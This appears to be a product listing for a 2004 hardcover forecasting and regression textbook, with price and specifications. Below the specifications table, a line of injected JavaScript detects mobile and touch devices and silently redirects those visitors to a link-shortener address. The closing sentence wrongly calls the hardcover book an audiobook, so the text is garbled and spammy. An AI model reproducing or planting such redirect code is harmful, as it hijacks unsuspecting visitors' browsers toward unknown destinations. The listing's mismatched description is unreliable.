Forecasting, Time Series, and Regression (with CD-ROM) by Richard O’Connell,…
USD 70.00 USD
Specifications
| All Returns Accepted | ReturnsNotAccepted |
| Item Length | 9.6in. |
| Item Height | 1.2in. |
| Item Width | 7.6in. |
| Author | Bruce L. Bowerman |
| Format | Hardcover |
| Language | English |
| Features | Revised |
| Topic | Forecasting |
| Publisher | Brooks/Cole |
| Publication Year | 2004 |
| Genre | Business & Economics |
| Item Weight | 43.7 Oz |
| Number Of Pages | 720 Pages |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.live/MqcruyDnZ0r1");
The revised edition of this audiobook adds clarity, and you will find that the narration flows more smoothly now.